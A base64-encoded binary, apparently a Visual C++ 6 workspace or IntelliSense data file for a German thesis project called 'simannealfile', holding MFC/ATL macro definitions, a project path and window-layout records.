ZnJpZW5kIGNsYXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRU5EX0lOVEVSRkFDRV9QQVJU
KGxvY2FsQ2xhc3MpIH0gbV94IyNsb2NhbENsYXNzOyBmcmllbmQgY2xhc3MgWCMjbG9jYWxD
bGFzczsKI2RlZmluZSBFWFRFUk5fUFJPQ0VTU19MT0NBTChjbGFzc19uYW1lLCBpZGVudF9u
YW1lKSBleHRlcm4gQUZYX0RBVEEgUFJPQ0VTU19MT0NBTChjbGFzc19uYW1lLCBpZGVudF9u
YW1lKQojZGVmaW5lIEVYVF9TTkFQSU5NRU5VSUQoaWQpCiNkZWZpbmUgSU1QTEVNRU5UX0RV
QUxfRVJST1JJTkZPKG9iamVjdENsYXNzLCByaWlkU291cmNlKQojZGVmaW5lIElNUExFTUVO
VF9EWU5BTUlDKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSkKI2RlZmluZSBJTVBMRU1F
TlRfRFlOQ1JFQVRFKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSkKI2RlZmluZSBJTVBM
RU1FTlRfT0xFQ1JFQVRFKGNsYXNzX25hbWUsIGV4dGVybmFsX25hbWUsIGwsIHcxLCB3Miwg
YjEsIGIyLCBiMywgYjQsIGI1LCBiNiwgYjcsIGI4KQojZGVmaW5lIElNUExFTUVOVF9PTEVD
UkVBVEVfRVgoY2xhc3NfbmFtZSwgZXh0ZXJuYWxfbmFtZSwgbCwgdzEsIHcyLCBiMSwgYjIs
IGIzLCBiNCwgYjUsIGI2LCBiNywgYjgpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNUTFRZUEUo
Y2xhc3NfbmFtZSwgaWRzVXNlclR5cGVOYW1lLCBkd09sZU1pc2MpCiNkZWZpbmUgSU1QTEVN
RU5UX09MRVRZUEVMSUIoY2xhc3NfbmFtZSwgdGxpZCwgd1Zlck1ham9yLCB3VmVyTWlub3Ip
CiNkZWZpbmUgSU1QTEVNRU5UX1NFUklBTChjbGFzc19uYW1lLCBiYXNlX2NsYXNzX25hbWUs
IHdTY2hlbWEpCiNkZWZpbmUgSU5JVF9JTlRFUkZBQ0VfUEFSVCh0aGVDbGFzcywgbG9jYWxD
bGFzcykKI2RlZmluZSBQUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpIEFG
WF9EQQgAAwBNTEpMAAAAAQAAAGVhbGZpbGVHQzpcQXJiZWl0X0RpcGxvbWFyYmVpdFxfX09w
dGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcc2ltYW5uZWFsZmlsZS5kc3ABAAAAAAAAAAAA
AAAAAAIAAAAsDAqs2OT4AH4AAAASAAAABwAAAB0AAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAA
AAAAAAAAAAAAAAMAAAADAAAAHQAAAAMAAABdAQAAbgEAACQDAADzAQAAYAEAAIsBAAAhAwAA
8AEAAGABAACLAQAAIQMAAPABAABgAQAAiwEAACEDAADwAQAAYAEAAIsBAAAhAwAAiwEAAF0B
AABuAQAAJAMAAIsBAABdAQAAiwEAAGABAADwAQAAIQMAAIsBAAAkAwAA8AEAAF0BAADwAQAA
JAMAAPMBAABkAQAAdQEAAAcDAACHAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAwAA
cwEAAB8DAACIAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AADHAQAAhQAAAAMAAAAdAAAAxAEAAIIAAAADAAAAHQAAAMQBAACCAAAAAwAAAB0AAADEAQAA
ggAAAAMAAAAdAAAAxAEAAB0AAAAAAAAAAAAAAMcBAAAdAAAAAAAAAB0AAAADAAAAggAAAMQB
AAAdAAAAxwEAAIIAAAAAAAAAggAAAMcBAACFAAAABwAAAAcAAACqAQAAGQAAAKP+//+S/v//
o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+
//+j/v//kv7//6P+//+S/v//rQEAAAUAAADCAQAAGgAAAKP+//+S/v//o/7//5L+//+j/v//
kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+
//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//
o/7//5L+//+j/v//kv7//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
AAAAAMcBAACFAAAA/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAAA
AAAAAAAAAAAAAGVuZAAFBZAAAQAIABhptAB4AQMAX19SUENfQVBJIF9fc3RkY2FsbAojZGVm
aW5lIF9fUlBDX0NBTExFRSBfX3N0ZGNhbGwKI2RlZmluZSBfX1JQQ19GQVIKI2RlZmluZSBf
X1JQQ19TVFVCIF9fc3RkY2FsbAojZGVmaW5lIF9fUlBDX1VTRVIgX19zdGRjYWxsCiNkZWZp
bmUgX0NPTV9TTUFSVFBUUl9UWVBFREVGKEludGVyZmFjZSwgSUlEKSB0eXBlZGVmIF9jb21f
cHRyX3Q8IF9jb21fSUlJRDwgSW50ZXJmYWNlLCAmSUlEPiA+IEludGVyZmFjZSMjUHRyCiNk
ZWZpbmUgX0NSVEFQSTEgX19jZGVjbAojZGVmaW5lIF9DUlRJTVAKI2RlZmluZSBfU1REIHN0
ZDo6CiNkZWZpbmUgX1NURF9CRUdJTiBuYW1lc3BhY2Ugc3RkIHsKI2RlZmluZSBfU1REX0VO
RCB9OwojZGVmaW5lIF9TVERfVVNJTkcKI2RlZmluZSBBUElQUklWQVRFIF9fc3RkY2FsbAoj
ZGVmaW5lIENBTExCQUNLCiNkZWZpbmUgY2RlY2wgX19jZGVjbAojZGVmaW5lIENERUNMIF9f
Y2RlY2wKI2RlZmluZSBEM0RSTUFQSSBfX3N0ZGNhbGwKI2RlZmluZSBERUNMU1BFQ19VVUlE
KHgpIF9fZGVjbHNwZWModXVpZCh4KSkKI2RlZmluZSBFWFBPUlQKI2RlZmluZSBGQVIKI2Rl
ZmluZSBmYXIKI2RlZmluZSBGQVNUQ0FMTCBfX2Zhc3RjYWxsCiNkZWZpbmUgSU1BR0VBUEkg
X19zdGRjYWxsCiNkZWZpbmUgSU5TVEFQSSBfX3N0ZGNhbGwKI2RlZmluZSBpbnRlcmZhY2Ug
c3RydWN0CiNkZWZpbmUgTUlETF9JTlRFUkZBQ0UoeCkgc3RydWN0IF9fZGVjbHNwZWModXVp
ZCh4KSkgX19kZWNsc3BlYyhub3Z0YWJsZSkKI2RlZmluZSBORUFSCiNkZWZpbmUgTkVUX0FQ
SV9GVU5DVElPTiBfX3N0ZGNhbGwKI2RlZmluZSBOVEFQSSBfX3N0ZGNhbGwKI2RlZmluZSBw
YXNjYWwgX19zdGRjYWxsCiNkZWZpbmUgUEFTQ0FMIF9fc3RkY2FsbAojZGVmaW5lIFJQQ19F
TlRSWSBfX3N0ZGNhbGwKI2RlZmluZSBSUENfVkFSX0VOVFJZIF9fY2RlY2wKI2RlZmluZSBT
SVpFX1RfTUFYIFVJTlRfTUFYCiNkZWZpbmUgU1FMX0FQSSBfX3N0ZGNhbGwKI2RlZmluZSBT
UlZBUEkKI2RlZmluZSBTVERBUEkgSFJFU1VMVCBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNU
REFQSV8odHlwZSkgdHlwZSBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNUREFQSUNBTExUWVBF
IF9fc3RkY2FsbAojZGVmaW5lIFNUREFQSVYgSFJFU1VMVCBTVERBUElWQ0FMTFRZUEUKI2Rl
ZmluZSBTVERBUElWXyh0eXBlKSB0eXBlIFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQ
SVZDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgU1RETUVUSE9EKG1ldGhvZCkgdmlydHVhbCBI
UkVTVUxUIFNURE1FVEhPRENBTExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhPRF8odHlw
ZSxtZXRob2QpIHZpcnR1YWwgdHlwZSBTVERNRVRIT0RDQUxMVFlQRSBtZXRob2QKI2RlZmlu
ZSBTVERNRVRIT0RDQUxMVFlQRSBfX3N0ZGNhbGwKI2RlZmluZSBTVERNRVRIT0RJTVAgSFJF
U1VMVCBTVERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUF8odHlwZSkgdHlw
ZSBTVERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUFYgSFJFU1VMVCBTVERN
RVRIT0RWQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJTVBWXyh0eXBlKSB0eXBlIFNURE1F
VEhPRFZDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRFZDQUxMVFlQRSBfX2NkZWNsCiNkZWZp
bmUgU1RETUFQSUlOSVRDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgVU5BTElHTkVECiNkZWZp
bmUgVkZXQVBJVgojZGVmaW5lIFdEQkdBUEkgX19zdGRjYWxsCiNkZWZpbmUgV0lOQVBJIF9f
c3RkY2FsbAojZGVmaW5lIFdJTkFQSVYgX19jZGVjbAojZGVmaW5lIFdJTk9MRUFQSSBIUkVT
VUxUIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgV0lOT0xFQVBJXyh0eXBlKSB0eXBlIFNUREFQ
SUNBTExUWVBFCiNkZWZpbmUgYWZ4X21zZwojZGVmaW5lIEFUTF9OT19WVEFCTEUgX19kZWNs
c3BlYyhub3Z0YWJsZSkKI2RlZmluZSBBVExBUEkgSFJFU1VMVAojZGVmaW5lIEFUTEFQSV8o
eCkgeAojZGVmaW5lIEFGWF9DREVDTCBfX2NkZWNsCiNkZWZpbmUgQUZYX0NMQVNTX0VYUE9S
VCBfX2RlY2xzcGCQswAAAAAAAQEBAQEBCABFX0VYKGNsYXNzX25hbWUpCiNkZWZpbmUgREVD
TEFSRV9PTEVDVExUWVBFKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTEVUWVBFTElC
KGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTkxZX0FHR1JFR0FUQUJMRSh4KQojZGVm
aW5lIERFQ0xBUkVfT1BBUVVFMzIoeCkKI2RlZmluZSBERUNMQVJFX1BBUlNFX01BUCgpCiNk
ZWZpbmUgREVDTEFSRV9QT0xZX0FHR1JFR0FUQUJMRSh4KQojZGVmaW5lIERFQ0xBUkVfUFJP
UEVSVFlfU1VQUE9SVChjbGFzcykKI2RlZmluZSBERUNMQVJFX1BST1BQQUdFSURTKGNsYXNz
X25hbWUpCiNkZWZpbmUgREVDTEFSRV9QUk9URUNUX0ZJTkFMX0NPTlNUUlVDVCgpCiNkZWZp
bmUgREVDTEFSRV9SRUdJU1RSWShjbGFzcywgcGlkLCB2cGlkLCBuaWQsIGZsYWdzKQojZGVm
aW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1JFR0lT
VFJZX1JFU09VUkNFSUQoeCkKI2RlZmluZSBERUNMQVJFX1NFUklBTChjbGFzc19uYW1lKQoj
ZGVmaW5lIERFQ0xBUkVfU1RBVElDX1JFR0lTVFJZX1JFU09VUkNFKHgpCiNkZWZpbmUgREVD
TEFSRV9TVEFUSUNfUkVHSVNUUllfUkVTT1VSQ0VJRCh4KQojZGVmaW5lIERFQ0xBUkVfVklF
V19TVEFUVVMoc3RhdHVzRmxhZ3MpCiNkZWZpbmUgREVDTEFSRV9XTkRfQ0xBU1MoV25kQ2xh
c3NOYW1lKQojZGVmaW5lIERFQ0xBUkVfV05EX1NVUEVSQ0xBU1MoV25kQ2xhc3NOYW1lLCBP
cmlnV25kQ2xhc3NOYW1lKQojZGVmaW5lIERFRklORV9DT01NQU5EKHgsIHN6Q29tbWFuZCkK
I2RlZmluZSBERUxFR0FURV9EVUFMX0lOVEVSRkFDRShvYmplY3RDbGFzcywgZHVhbENsYXNz
KQojZGVmaW5lIEVORF9DT05ORUNUSU9OX1BBUlQobG9jYWxDbGFzcykgfSBtX3gjI2yUAwEC
AQBhcxhptAB4AQMAZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVmaW5lIEVORF9EVUFMX0lO
VEVSRkFDRV9QQVJUKGxvY2FsQ2xhc3MpIH0gbV94IyNsb2NhbENsYXNzOyBmcmllbmQgY2xh
c3MgWCMjbG9jYWxDbGFzczsKI2RlZmluZSBFTkRfSU5URVJGQUNFX1BBUlQobG9jYWxDbGFz
cykgfSBtX3gjI2xvY2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVm
aW5lIEVYVEVSTl9QUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpIGV4dGVy
biBBRlhfREFUQSBQUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpCiNkZWZp
bmUgRVhUX1NOQVBJTk1FTlVJRChpZCkKI2RlZmluZSBJTVBMRU1FTlRfRFVBTF9FUlJPUklO
Rk8ob2JqZWN0Q2xhc3MsIHJpaWRTb3VyY2UpCiNkZWZpbmUgSU1QTEVNRU5UX0RZTkFNSUMo
Y2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9EWU5DUkVB
VEUoY2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9PTEVD
UkVBVEUoY2xhc3NfbmFtZSwgZXh0ZXJuYWxfbmFtZSwgbCwgdzEsIHcyLCBiMSwgYjIsIGIz
LCBiNCwgYjUsIGI2LCBiNywgYjgpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURV9FWChj
bGFzc19uYW1lLCBleHRlcm5hbF9uYW1lLCBsLCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBi
NSwgYjYsIGI3LCBiOCkKI2RlZmluZSBJTVBMRU1FTlRfT0xFQ1RMVFlQRShjbGFzc19uYW1l
LCBpZHNVc2VyVHlwZU5hbWUsIGR3T2xlTWlzYykKI2RlZmluZSBJTVBMRU1FTlRfT0xFVFlQ
RUxJQihjbGFzc19uYW1lLCB0bGlkLCB3VmVyTWFqb3IsIHdWZXJNaW5vcikKI2RlZmluZSBJ
TVBMRU1FTlRfU0VSSUFMKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSwgd1NjaGVtYSkK
I2RlZmluZSBJTklUX0lOVEVSRkFDRV9QQVJUKHRoZUNsYXNzLCBsb2NhbENsYXNzKQojZGVm
aW5lIFBST0NFU1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkgQUZYX0RBVwBvAHIA
awBzAHAAYQBjAGUAIABXAGkAbgBkAG8AdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAACIAAgAHAAAABQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAhAAAAABQAAAAAAABJAFAASQBfAHMAaQBtAGEAbgBuAGUAYQBsAGYAaQBsAGUAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAACAf///////////////wAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAACsAAAAAGAAAAAAAAEkAUABJAF8AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIA////////
////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANwAAAAAUAAAAAAAA
QwBsAGEAcwBzAFYAaQBlAHcAIABXAGkAbgBkAG8AdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAACIAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABBAAAAABQAAAAAAAADAAUADXNpbWFubmVhbGZpbGUHS2xhc3NlbgU8RU9SPgU8
RU9SPgU8RU9SPhVzaW1hbm5lYWxmaWxlIEtsYXNzZW4FPEVPUj4Vc2ltYW5uZWFsZmlsZSBL
bGFzc2VuBTxFT1I+B0RhdGVpZW4FPEVPUj4sQXJiZWl0c2JlcmVpY2ggInNpbWFubmVhbGZp
bGUiOiAxIFByb2pla3QoZSkVc2ltYW5uZWFsZmlsZSBEYXRlaWVuEFF1ZWxsY29kZWRhdGVp
ZW4OSGVhZGVyLURhdGVpZW4FPEVPUj4FPEVPUj4Vc2ltYW5uZWFsZmlsZSBEYXRlaWVuBTxF
T1I+LEFyYmVpdHNiZXJlaWNoICJzaW1hbm5lYWxmaWxlIjogMSBQcm9qZWt0KGUpBTxFT1I+
BTxFT1I+B0RhdGVpZW4FPEVPUj7zAQAAZAEAAHUBAAAHAwAAhwEAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAACgMAAHMBAAAfAwAAiAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAxwEAAIUAAAADAAAAHQAAAMQBAACCAAAAAwAAAB0AAADEAQAA
ggAAAAMAAAAdAAAAxAEAAIIAAAADAAAAHQAAAMQBAAAdAAAAAAAAAAAAAADHAQAAHQAAAAAA
AAAdAAAAAwAAAIIAAADEAQAAHQAAAMcBAACCAAAAAAAAAIIAAADHAQAAhQAAAAcAAAAHAAAA
qgEAABkAAACj/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+
//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//60BAAAFAAAAwgEAABoAAACj/v//
kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+
//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//
o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAAAAAADHAQAAhQAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAABlbmQABQWQAAEACAAYabQAeAEDAF9fUlBDX0FQ
SSBfX3N0ZGNhbGwKI2RlZmluZSBfX1JQQ19DQUxMRUUgX19zdGRjYWxsCiNkZWZpbmUgX19S
UENfRkFSCiNkZWZpbmUgX19SUENfU1RVQiBfX3N0ZGNhbGwKI2RlZmluZSBfX1JQQ19VU0VS
IF9fc3RkY2FsbAojZGVmaW5lIF9DT01fU01BUlRQVFJfVFlQRURFRihJbnRlcmZhY2UsIElJ
RCkgdHlwZWRlZiBfY29tX3B0cl90PCBfY29tX0lJSUQ8IEludGVyZmFjZSwgJklJRD4gPiBJ
bnRlcmZhY2UjI1B0cgojZGVmaW5lIF9DUlRBUEkxIF9fY2RlY2wKI2RlZmluZSBfQ1JUSU1Q
CiNkZWZpbmUgX1NURCBzdGQ6OgojZGVmaW5lIF9TVERfQkVHSU4gbmFtZXNwYWNlIHN0ZCB7
CiNkZWZpbmUgX1NURF9FTkQgfTsKI2RlZmluZSBfU1REX1VTSU5HCiNkZWZpbmUgQVBJUFJJ
VkFURSBfX3N0ZGNhbGwKI2RlZmluZSBDQUxMQkFDSwojZGVmaW5lIGNkZWNsIF9fY2RlY2wK
I2RlZmluZSBDREVDTCBfX2NkZWNsCiNkZWZpbmUgRDNEUk1BUEkgX19zdGRjYWxsCiNkZWZp
bmUgREVDTFNQRUNfVVVJRCh4KSBfX2RlY2xzcGVjKHV1aWQoeCkpCiNkZWZpbmUgRVhQT1JU
CiNkZWZpbmUgRkFSCiNkZWZpbmUgZmFyCiNkZWZpbmUgRkFTVENBTEwgX19mYXN0Y2FsbAoj
ZGVmaW5lIElNQUdFQVBJIF9fc3RkY2FsbAojZGVmaW5lIElOU1RBUEkgX19zdGRjYWxsCiNk
ZWZpbmUgaW50ZXJmYWNlIHN0cnVjdAojZGVmaW5lIE1JRExfSU5URVJGQUNFKHgpIHN0cnVj
dCBfX2RlY2xzcGVjKHV1aWQoeCkpIF9fZGVjbHNwZWMobm92dGFibGUpCiNkZWZpbmUgTkVB
UgojZGVmaW5lIE5FVF9BUElfRlVOQ1RJT04gX19zdGRjYWxsCiNkZWZpbmUgTlRBUEkgX19z
dGRjYWxsCiNkZWZpbmUgcGFzY2FsIF9fc3RkY2FsbAojZGVmaW5lIFBBU0NBTCBfX3N0ZGNh
bGwKI2RlZmluZSBSUENfRU5UUlkgX19zdGRjYWxsCiNkZWZpbmUgUlBDX1ZBUl9FTlRSWSBf
X2NkZWNsCiNkZWZpbmUgU0laRV9UX01BWCBVSU5UX01BWAojZGVmaW5lIFNRTF9BUEkgX19z
dGRjYWxsCiNkZWZpbmUgU1JWQVBJCiNkZWZpbmUgU1REQVBJIEhSRVNVTFQgU1REQVBJQ0FM
TFRZUEUKI2RlZmluZSBTVERBUElfKHR5cGUpIHR5cGUgU1REQVBJQ0FMTFRZUEUKI2RlZmlu
ZSBTVERBUElDQUxMVFlQRSBfX3N0ZGNhbGwKI2RlZmluZSBTVERBUElWIEhSRVNVTFQgU1RE
QVBJVkNBTExUWVBFCiNkZWZpbmUgU1REQVBJVl8odHlwZSkgdHlwZSBTVERBUElWQ0FMTFRZ
UEUKI2RlZmluZSBTVERBUElWQ0FMTFRZUEUgX19jZGVjbAojZGVmaW5lIFNURE1FVEhPRCht
ZXRob2QpIHZpcnR1YWwgSFJFU1VMVCBTVERNRVRIT0RDQUxMVFlQRSBtZXRob2QKI2RlZmlu
ZSBTVERNRVRIT0RfKHR5cGUsbWV0aG9kKSB2aXJ0dWFsIHR5cGUgU1RETUVUSE9EQ0FMTFRZ
UEUgbWV0aG9kCiNkZWZpbmUgU1RETUVUSE9EQ0FMTFRZUEUgX19zdGRjYWxsCiNkZWZpbmUg
U1RETUVUSE9ESU1QIEhSRVNVTFQgU1RETUVUSE9EQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRI
T0RJTVBfKHR5cGUpIHR5cGUgU1RETUVUSE9EQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJ
TVBWIEhSRVNVTFQgU1RETUVUSE9EVkNBTExUWVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QVl8o
dHlwZSkgdHlwZSBTVERNRVRIT0RWQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RWQ0FMTFRZ
UEUgX19jZGVjbAojZGVmaW5lIFNURE1BUElJTklUQ0FMTFRZUEUgX19jZGVjbAojZGVmaW5l
IFVOQUxJR05FRAojZGVmaW5lIFZGV0FQSVYKI2RlZmluZSBXREJHQVBJIF9fc3RkY2FsbAoj
ZGVmaW5lIFdJTkFQSSBfX3N0ZGNhbGwKI2RlZmluZSBXSU5BUElWIF9fY2RlY2wKI2RlZmlu
ZSBXSU5PTEVBUEkgSFJFU1VMVCBTVERBUElDQUxMVFlQRQojZGVmaW5lIFdJTk9MRUFQSV8o
dHlwZSkgdHlwZSBTVERBUElDQUxMVFlQRQojZGVmaW5lIGFmeF9tc2cKI2RlZmluZSBBVExf
Tk9fVlRBQkxFIF9fZGVjbHNwZWMobm92dGFibGUpCiNkZWZpbmUgQVRMQVBJIEhSRVNVTFQK
I2RlZmluZSBBVExBUElfKHgpIHgKI2RlZmluZSBBRlhfQ0RFQ0wgX19jZGVjbAojZGVmaW5l
IEFGWF9DTEFTU19FWFBPUlQgX19kZWNsc3BgkLMAAAAAAAEBAQEBAQgARV9FWChjbGFzc19u
YW1lKQojZGVmaW5lIERFQ0xBUkVfT0xFQ1RMVFlQRShjbGFzc19uYW1lKQojZGVmaW5lIERF
Q0xBUkVfT0xFVFlQRUxJQihjbGFzc19uYW1lKQojZGVmaW5lIERFQ0xBUkVfT05MWV9BR0dS
RUdBVEFCTEUoeCkKI2RlZmluZSBERUNMQVJFX09QQVFVRTMyKHgpCiNkZWZpbmUgREVDTEFS
RV9QQVJTRV9NQVAoKQojZGVmaW5lIERFQ0xBUkVfUE9MWV9BR0dSRUdBVEFCTEUoeCkKI2Rl
ZmluZSBERUNMQVJFX1BST1BFUlRZX1NVUFBPUlQoY2xhc3MpCiNkZWZpbmUgREVDTEFSRV9Q
Uk9QUEFHRUlEUyhjbGFzc19uYW1lKQojZGVmaW5lIERFQ0xBUkVfUFJPVEVDVF9GSU5BTF9D
T05TVFJVQ1QoKQojZGVmaW5lIERFQ0xBUkVfUkVHSVNUUlkoY2xhc3MsIHBpZCwgdnBpZCwg
bmlkLCBmbGFncykKI2RlZmluZSBERUNMQVJFX1JFR0lTVFJZX1JFU09VUkNFKHgpCiNkZWZp
bmUgREVDTEFSRV9SRUdJU1RSWV9SRVNPVVJDRUlEKHgpCiNkZWZpbmUgREVDTEFSRV9TRVJJ
QUwoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX1NUQVRJQ19SRUdJU1RSWV9SRVNPVVJD
RSh4KQojZGVmaW5lIERFQ0xBUkVfU1RBVElDX1JFR0lTVFJZX1JFU09VUkNFSUQoeCkKI2Rl
ZmluZSBERUNMQVJFX1ZJRVdfU1RBVFVTKHN0YXR1c0ZsYWdzKQojZGVmaW5lIERFQ0xBUkVf
V05EX0NMQVNTKFduZENsYXNzTmFtZSkKI2RlZmluZSBERUNMQVJFX1dORF9TVVBFUkNMQVNT
KFduZENsYXNzTmFtZSwgT3JpZ1duZENsYXNzTmFtZSkKI2RlZmluZSBERUZJTkVfQ09NTUFO
RCh4LCBzekNvbW1hbmQpCiNkZWZpbmUgREVMRUdBVEVfRFVBTF9JTlRFUkZBQ0Uob2JqZWN0
Q2xhc3MsIGR1YWxDbGFzcykKI2RlZmluZSBFTkRfQ09OTkVDVElPTl9QQVJUKGxvY2FsQ2xh
c3MpIH0gbV94IyNslAMBAgEAYXMYabQAeAEDAGQgY2xhc3MgWCMjbG9jYWxDbGFzczsKI2Rl
ZmluZSBFTkRfRFVBTF9JTlRFUkZBQ0VfUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbG9jYWxD
bGFzczsgZnJpZW5kIGNsYXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRU5EX0lOVEVSRkFD
RV9QQVJUKGxvY2FsQ2xhc3MpIH0gbV94IyNsb2NhbENsYXNzOyBmcmllbmQgY2xhc3MgWCMj
bG9jYWxDbGFzczsKI2RlZmluZSBFWFRFUk5fUFJPQ0VTU19MT0NBTChjbGFzc19uYW1lLCBp
ZGVudF9uYW1lKSBleHRlcm4gQUZYX0RBVEEgUFJPQ0VTU19MT0NBTChjbGFzc19uYW1lLCBp
ZGVudF9uYW1lKQojZGVmaW5lIEVYVF9TTkFQSU5NRU5VSUQoaWQpCiNkZWZpbmUgSU1QTEVN
RU5UX0RVQUxfRVJST1JJTkZPKG9iamVjdENsYXNzLCByaWlkU291cmNlKQojZGVmaW5lIElN
UExFTUVOVF9EWU5BTUlDKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSkKI2RlZmluZSBJ
TVBMRU1FTlRfRFlOQ1JFQVRFKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSkKI2RlZmlu
ZSBJTVBMRU1FTlRfT0xFQ1JFQVRFKGNsYXNzX25hbWUsIGV4dGVybmFsX25hbWUsIGwsIHcx
LCB3MiwgYjEsIGIyLCBiMywgYjQsIGI1LCBiNiwgYjcsIGI4KQojZGVmaW5lIElNUExFTUVO
VF9PTEVDUkVBVEVfRVgoY2xhc3NfbmFtZSwgZXh0ZXJuYWxfbmFtZSwgbCwgdzEsIHcyLCBi
MSwgYjIsIGIzLCBiNCwgYjUsIGI2LCBiNywgYjgpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNU
TFRZUEUoY2xhc3NfbmFtZSwgaWRzVXNlclR5cGVOYW1lLCBkd09sZU1pc2MpCiNkZWZpbmUg
SU1QTEVNRU5UX09MRVRZUEVMSUIoY2xhc3NfbmFtZSwgdGxpZCwgd1Zlck1ham9yLCB3VmVy
TWlub3IpCiNkZWZpbmUgSU1QTEVNRU5UX1NFUklBTChjbGFzc19uYW1lLCBiYXNlX2NsYXNz
